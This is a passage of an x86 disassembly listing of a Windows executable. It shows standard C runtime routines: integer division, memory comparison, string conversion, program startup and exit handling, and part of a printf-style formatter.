		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4195DA
; ---------------------------------------------------------------------------

loc_419599:				; CODE XREF: sub_419540+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4195A7:				; CODE XREF: sub_419540+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4195A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4195D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4195D5
		jb	short loc_4195D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4195D6

loc_4195D5:				; CODE XREF: sub_419540+85j
					; sub_419540+8Bj
		dec	esi

loc_4195D6:				; CODE XREF: sub_419540+8Dj
					; sub_419540+93j
		xor	edx, edx
		mov	eax, esi

loc_4195DA:				; CODE XREF: sub_419540+57j
		dec	edi
		jnz	short loc_4195E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4195E4:				; CODE XREF: sub_419540+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4195F0	proc near		; CODE XREF: sub_40D28A+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41963C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41963D
		test	eax, 1
		jz	short loc_41961D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41966A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41963A

loc_41961D:				; CODE XREF: sub_4195F0+20j
					; sub_4195F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41966A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41966A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41961D

loc_41963A:				; CODE XREF: sub_4195F0+2Bj
					; sub_4195F0+84j
		pop	edi
		pop	esi

locret_41963C:				; CODE XREF: sub_4195F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41963D:				; CODE XREF: sub_4195F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419672
		repe cmpsd
		jz	short loc_419672
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419665
		cmp	ch, dh
		jnz	short loc_419665
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419665
		cmp	ch, dh

loc_419665:				; CODE XREF: sub_4195F0+63j
					; sub_4195F0+67j ...
		mov	eax, 0

loc_41966A:				; CODE XREF: sub_4195F0+26j
					; sub_4195F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419672:				; CODE XREF: sub_4195F0+55j
					; sub_4195F0+59j
		test	eax, eax
		jz	short loc_41963A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419665
		dec	eax
		jz	short loc_419699
		cmp	dh, ch
		jnz	short loc_419665
		dec	eax
		jz	short loc_419699
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419665
		dec	eax

loc_419699:				; CODE XREF: sub_4195F0+8Fj
					; sub_4195F0+96j
		pop	edi
		pop	esi
		retn
sub_4195F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41969C	proc near		; CODE XREF: sub_40E3CC+55p
					; sub_415CC2+238p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4196B3

loc_4196A9:				; CODE XREF: sub_41969C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4196A9

loc_4196B3:				; CODE XREF: sub_41969C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41969C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196B9	proc near		; CODE XREF: sub_40E3CC+19p
					; sub_40E3CC+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419786
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_4197B3
		cmp	dword_489540, esi
		jnz	short loc_41970A
		cmp	edi, esi
		jbe	loc_4197B3

loc_4196E9:				; CODE XREF: sub_4196B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_4197B3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4196E9
		jmp	loc_4197B3
; ---------------------------------------------------------------------------

loc_41970A:				; CODE XREF: sub_4196B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_423070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_489550
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_4197B2
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_419744

loc_419735:				; CODE XREF: sub_4196B9+CBj
					; sub_4196B9+F7j
		mov	dword_4894AC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4197B3
; ---------------------------------------------------------------------------

loc_419744:				; CODE XREF: sub_4196B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41974C:				; CODE XREF: sub_4196B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41976E
		mov	edx, off_438A80
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419763
		inc	eax

loc_419763:				; CODE XREF: sub_4196B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41974C

loc_41976E:				; CODE XREF: sub_4196B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_489550
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_4197B3
		jmp	short loc_419735
; ---------------------------------------------------------------------------

loc_419786:				; CODE XREF: sub_4196B9+Fj
		cmp	dword_489540, esi
		jnz	short loc_419799
		push	[ebp+arg_4]
		call	sub_4177B0
		pop	ecx
		jmp	short loc_4197B3
; ---------------------------------------------------------------------------

loc_419799:				; CODE XREF: sub_4196B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_489550
		call	dword_423070	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_419735

loc_4197B2:				; CODE XREF: sub_4196B9+6Bj
		dec	eax

loc_4197B3:				; CODE XREF: sub_4196B9+1Aj
					; sub_4196B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4196B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197B8	proc near		; CODE XREF: sub_4198E4+93p
		mov	eax, off_438A4C
		test	eax, eax
		jz	short loc_4197C3
		call	eax ; sub_417A73

loc_4197C3:				; CODE XREF: sub_4197B8+7j
		push	offset dword_425028
		push	offset dword_425014
		call	sub_4198A0
		push	offset dword_425010
		push	offset dword_425000
		call	sub_4198A0
		add	esp, 10h
		retn
sub_4197B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197E5	proc near		; CODE XREF: sub_4198E4+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_419807
		add	esp, 0Ch
		retn
sub_4197E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F6	proc near		; CODE XREF: .data:004199D5p
					; sub_4199DA+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419807
		add	esp, 0Ch
		retn
sub_4197F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419807	proc near		; CODE XREF: sub_4197E5+8p
					; sub_4197F6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4894F4, edi
		jnz	short loc_419824
		push	[esp+4+arg_0]
		call	dword_42313C	; GetCurrentProcess
		push	eax
		call	dword_423170	; TerminateProcess

loc_419824:				; CODE XREF: sub_419807+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4894F0, edi
		mov	byte_4894EC, bl
		jnz	short loc_419878
		mov	eax, dword_48AB3C
		test	eax, eax
		jz	short loc_419867
		mov	ecx, dword_48AB38
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419866

loc_419853:				; CODE XREF: sub_419807+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41985B
		call	eax

loc_41985B:				; CODE XREF: sub_419807+50j
		sub	esi, 4
		cmp	esi, dword_48AB3C
		jnb	short loc_419853

loc_419866:				; CODE XREF: sub_419807+4Aj
		pop	esi

loc_419867:				; CODE XREF: sub_419807+3Cj
		push	offset dword_425034
		push	offset dword_42502C
		call	sub_4198A0
		pop	ecx
		pop	ecx

loc_419878:				; CODE XREF: sub_419807+33j
		push	offset dword_425040
		push	offset dword_425038
		call	sub_4198A0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41989E
		push	[esp+4+arg_0]
		mov	dword_4894F4, edi
		call	dword_42314C	; ExitProcess

loc_41989E:				; CODE XREF: sub_419807+85j
		pop	edi
		retn
sub_419807	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198A0	proc near		; CODE XREF: sub_4197B8+15p
					; sub_4197B8+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_4198A5:				; CODE XREF: sub_4198A0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4198B8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4198B3
		call	eax

loc_4198B3:				; CODE XREF: sub_4198A0+Fj
		add	esi, 4
		jmp	short loc_4198A5
; ---------------------------------------------------------------------------

loc_4198B8:				; CODE XREF: sub_4198A0+9j
		pop	esi
		retn
sub_4198A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4198BA	proc near		; CODE XREF: sub_40EC43+2B66p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_423158	; DeleteFileA
		test	eax, eax
		jnz	short loc_4198D0
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_4198D2
; ---------------------------------------------------------------------------

loc_4198D0:				; CODE XREF: sub_4198BA+Cj
		xor	eax, eax

loc_4198D2:				; CODE XREF: sub_4198BA+14j
		test	eax, eax
		jz	short loc_4198E1
		push	eax
		call	sub_41EC6F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_4198E1:				; CODE XREF: sub_4198BA+1Aj
		xor	eax, eax
		retn
sub_4198BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198E4	proc near		; DATA XREF: .ex_cod:off_4A301Co

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4236A8
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_4231A0	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4894C4, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4894C0, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4894BC, ecx
		shr	eax, 10h
		mov	dword_4894B8, eax
		xor	esi, esi
		push	esi
		call	sub_41A9E4
		pop	ecx
		test	eax, eax
		jnz	short loc_419950
		push	1Ch
		call	sub_4199FF
		pop	ecx

loc_419950:				; CODE XREF: sub_4198E4+62j
		mov	[ebp+var_4], esi
		call	sub_41F2EA
		call	dword_42319C	; GetCommandLineA
		mov	dword_48AB2C, eax
		call	sub_41F1B8
		mov	dword_4894F8, eax
		call	sub_41EF6B
		call	sub_41EEB2
		call	sub_4197B8
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_423198	; GetStartupInfoA
		call	sub_41EE5A
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_41999D
		movzx	eax, [ebp+var_2C]
		jmp	short loc_4199A0
; ---------------------------------------------------------------------------

loc_41999D:				; CODE XREF: sub_4198E4+B1j
		push	0Ah
		pop	eax

loc_4199A0:				; CODE XREF: sub_4198E4+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_423100	; GetModuleHandleA
		push	eax
		call	sub_40E48A
		mov	[ebp+var_60], eax
		push	eax
		call	sub_4197E5
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41ECD6
		pop	ecx
		pop	ecx
		retn
sub_4198E4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_4197F6

; =============== S U B	R O U T	I N E =======================================



sub_4199DA	proc near		; CODE XREF: sub_418382+16p
					; sub_41EEB2+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_489500, 1
		jnz	short loc_4199E8
		call	sub_41F578

loc_4199E8:				; CODE XREF: sub_4199DA+7j
		push	[esp+arg_0]
		call	sub_41F5B1
		push	0FFh
		call	off_438A70
		pop	ecx
		pop	ecx
		retn
sub_4199DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199FF	proc near		; CODE XREF: sub_4198E4+66p

arg_0		= dword	ptr  4

		cmp	dword_489500, 1
		jnz	short loc_419A0D
		call	sub_41F578

loc_419A0D:				; CODE XREF: sub_4199FF+7j
		push	[esp+arg_0]
		call	sub_41F5B1
		pop	ecx
		push	0FFh
		call	dword_42314C	; ExitProcess
		retn
sub_4199FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A23	proc near		; CODE XREF: sub_416FB6+46p
					; sub_41752A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419B2C
		test	al, 40h
		jnz	loc_419B2C
		test	al, 1
		jz	short loc_419A5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419B2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_419A5B:				; CODE XREF: sub_419A23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419A95
		cmp	esi, offset dword_43B1B8
		jz	short loc_419A83
		cmp	esi, offset dword_43B1D8
		jnz	short loc_419A8E

loc_419A83:				; CODE XREF: sub_419A23+56j
		push	ebx
		call	sub_41F748
		test	eax, eax
		pop	ecx
		jnz	short loc_419A95

loc_419A8E:				; CODE XREF: sub_419A23+5Ej
		push	esi
		call	sub_41F704
		pop	ecx

loc_419A95:				; CODE XREF: sub_419A23+4Ej
					; sub_419A23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419B02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419AC5
		push	edi
		push	eax
		push	ebx
		call	sub_41EAC2
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419AF8
; ---------------------------------------------------------------------------

loc_419AC5:				; CODE XREF: sub_419A23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419AE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_48A7E0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419AE5
; ---------------------------------------------------------------------------

loc_419AE0:				; CODE XREF: sub_419A23+A5j
		mov	eax, offset dword_43B100

loc_419AE5:				; CODE XREF: sub_419A23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419AF8
		push	2
		push	0
		push	ebx
		call	sub_41E217
		add	esp, 0Ch

loc_419AF8:				; CODE XREF: sub_419A23+A0j
					; sub_419A23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419B16
; ---------------------------------------------------------------------------

loc_419B02:				; CODE XREF: sub_419A23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41EAC2
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_419B16:				; CODE XREF: sub_419A23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419B22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419B31
; ---------------------------------------------------------------------------

loc_419B22:				; CODE XREF: sub_419A23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419B34
; ---------------------------------------------------------------------------

loc_419B2C:				; CODE XREF: sub_419A23+10j
					; sub_419A23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_419B31:				; CODE XREF: sub_419A23+FDj
		or	eax, 0FFFFFFFFh

loc_419B34:				; CODE XREF: sub_419A23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B38	proc near		; CODE XREF: sub_416FB6+29p
					; sub_41752A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A251
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419B6C
; ---------------------------------------------------------------------------

loc_419B64:				; CODE XREF: sub_419B38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_419B6C:				; CODE XREF: sub_419B38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A251
		cmp	bl, 20h
		jl	short loc_419B8D
		cmp	bl, 78h
		jg	short loc_419B8D
		movsx	eax, bl
		mov	al, [eax+423694h]
		and	eax, 0Fh
		jmp	short loc_419B8F
; ---------------------------------------------------------------------------

loc_419B8D:				; CODE XREF: sub_419B38+40j
					; sub_419B38+45j
		xor	eax, eax

loc_419B8F:				; CODE XREF: sub_419B38+53j
		movsx	eax, byte_4236B4[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A240	; default
		jmp	off_41A259[eax*4] ; switch jump

loc_419BAD:				; DATA XREF: .data:off_41A259o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419BA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419BC8:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		movsx	eax, bl		; jumptable 00419BA6 case 2
		sub	eax, 20h
		jz	short loc_419C0B
		sub	eax, 3
		jz	short loc_419C02
		sub	eax, 8
		jz	short loc_419BF9
		dec	eax
		dec	eax
		jz	short loc_419BF0
		sub	eax, 3
		jnz	loc_41A240	; default
		or	[ebp+var_4], 8
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419BF0:				; CODE XREF: sub_419B38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419BF9:				; CODE XREF: sub_419B38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C02:				; CODE XREF: sub_419B38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C0B:				; CODE XREF: sub_419B38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C14:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		cmp	bl, 2Ah		; jumptable 00419BA6 case 3
		jnz	short loc_419C3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A317
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A240	; default
		or	[ebp+var_4], 4
		neg	eax

loc_419C34:				; CODE XREF: sub_419B38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C3C:				; CODE XREF: sub_419B38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419C34
; ---------------------------------------------------------------------------

loc_419C4B:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		mov	[ebp+var_10], edx ; jumptable 00419BA6 case 4
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C53:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		cmp	bl, 2Ah		; jumptable 00419BA6 case 5
		jnz	short loc_419C76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A317
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A240	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C76:				; CODE XREF: sub_419B38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419C88:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		cmp	bl, 49h		; jumptable 00419BA6 case 6
		jz	short loc_419CBB
		cmp	bl, 68h
		jz	short loc_419CB2
		cmp	bl, 6Ch
		jz	short loc_419CA9
		cmp	bl, 77h
		jnz	loc_41A240	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419CA9:				; CODE XREF: sub_419B38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419CB2:				; CODE XREF: sub_419B38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419CBB:				; CODE XREF: sub_419B38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419CD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419CD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419CD4:				; CODE XREF: sub_419B38+186j
					; sub_419B38+18Cj
		mov	[ebp+var_30], edx

loc_419CD7:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		mov	ecx, off_438A80	; jumptable 00419BA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_419D03
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A279
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_419D03:				; CODE XREF: sub_419B38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A279
		add	esp, 0Ch
		jmp	loc_41A240	; default
; ---------------------------------------------------------------------------

loc_419D1B:				; CODE XREF: sub_419B38+6Ej
					; DATA XREF: .data:off_41A259o
		movsx	eax, bl		; jumptable 00419BA6 case 7
		cmp	eax, 67h
		jg	loc_419F43
		cmp	eax, 65h
		jge	loc_419DC6
		cmp	eax, 58h
		jg	loc_419E24
		jz	loc_419FB7
		sub	eax, 43h
		jz	loc_419DE7
		dec	eax
		dec	eax
		jz	short loc_419DBC
		dec	eax
		dec	eax
		jz	short loc_419DBC
		sub	eax, 0Ch
		jnz	loc_41A142
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_419D65
		or	byte ptr [ebp+var_4+1],	8

loc_419D65:				; CODE XREF: sub_419B38+227j
					; sub_419B38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419D72
		mov	esi, 7FFFFFFFh

loc_419D72:				; CODE XREF: sub_419B38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A317
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_419F8B
		test	ecx, ecx
		jnz	short loc_419D9A
		mov	ecx, off_438A7C
		mov	[ebp+var_8], ecx

loc_419D9A:				; CODE XREF: sub_419B38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_419DA3:				; CODE XREF: sub_419B38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_419F82
		cmp	word ptr [eax],	0
		jz	loc_419F82
		inc	eax
		inc	eax
		jmp	short loc_419DA3
; ---------------------------------------------------------------------------

loc_419DBC:				; CODE XREF: sub_419B38+212j
					; sub_419B38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_419DC6:				; CODE XREF: sub_419B38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_419EAA
		mov	[ebp+var_10], 6
		jmp	loc_419EB8
; ---------------------------------------------------------------------------

loc_419DE7:				; CODE XREF: sub_419B38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_419DF3
		or	byte ptr [ebp+var_4+1],	8

loc_419DF3:				; CODE XREF: sub_419B38+2B5j
					; sub_419B38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_419E3A
		call	sub_41A334
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41F827
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_419E4D
		mov	[ebp+var_28], 1
		jmp	short loc_419E4D
; ---------------------------------------------------------------------------

loc_419E24:				; CODE XREF: sub_419B38+1FBj
		sub	eax, 5Ah
		jz	short loc_419E5B
		sub	eax, 9
		jz	short loc_419DF3
		dec	eax
		jz	loc_41A01D
		jmp	loc_41A142
; ---------------------------------------------------------------------------

loc_419E3A:				; CODE XREF: sub_419B38+2C5j
		call	sub_41A317
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_419E4D:				; CODE XREF: sub_419B38+2E1j
					; sub_419B38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A142
; ---------------------------------------------------------------------------

loc_419E5B:				; CODE XREF: sub_419B38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A317
		test	eax, eax
